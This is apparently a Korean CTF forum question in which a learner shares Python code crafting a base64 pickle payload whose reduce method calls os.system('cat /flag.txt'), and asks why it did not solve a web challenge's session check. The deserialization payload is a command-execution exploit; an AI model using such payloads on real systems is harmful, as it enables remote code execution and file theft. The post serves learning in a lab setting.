문제 접근방법 질문
pickle 취약점은 Unpickling을 할때 tuple을 반환해주시기 때문에 그 점을 이용해서 RCE를 할 수 있다고 검색을 통해서 공부 했습니다.
제가 문제에 접근 한 방법은 /flag.txt를 cat으로 읽기위해서 다음과 같은 코드를 작성했습니다.
import pickle
import os
import base64
class TestClass:
def reduce(self):
return os.system, ("cat /flag.txt", )
ClassA = TestClass()
ClassA_dump = base64.b64encode(pickle.dumps(ClassA))
print(ClassA_dump)
print(pickle.loads(base64.b64decode(ClassA_dump)))
위 코드로 나온 base64데이터를 Checkseesion에 넣으니 cat /flag.txt라는 결과가 나왔지만 문제가 풀리지 않았는데 접근 방법이 아에 잘못된건가요?
*추가로 로컬에서 /폴더에 flag.txt파일을 만들고 테스트 했을때는 읽혔습니다.
~
#web
작성자 정보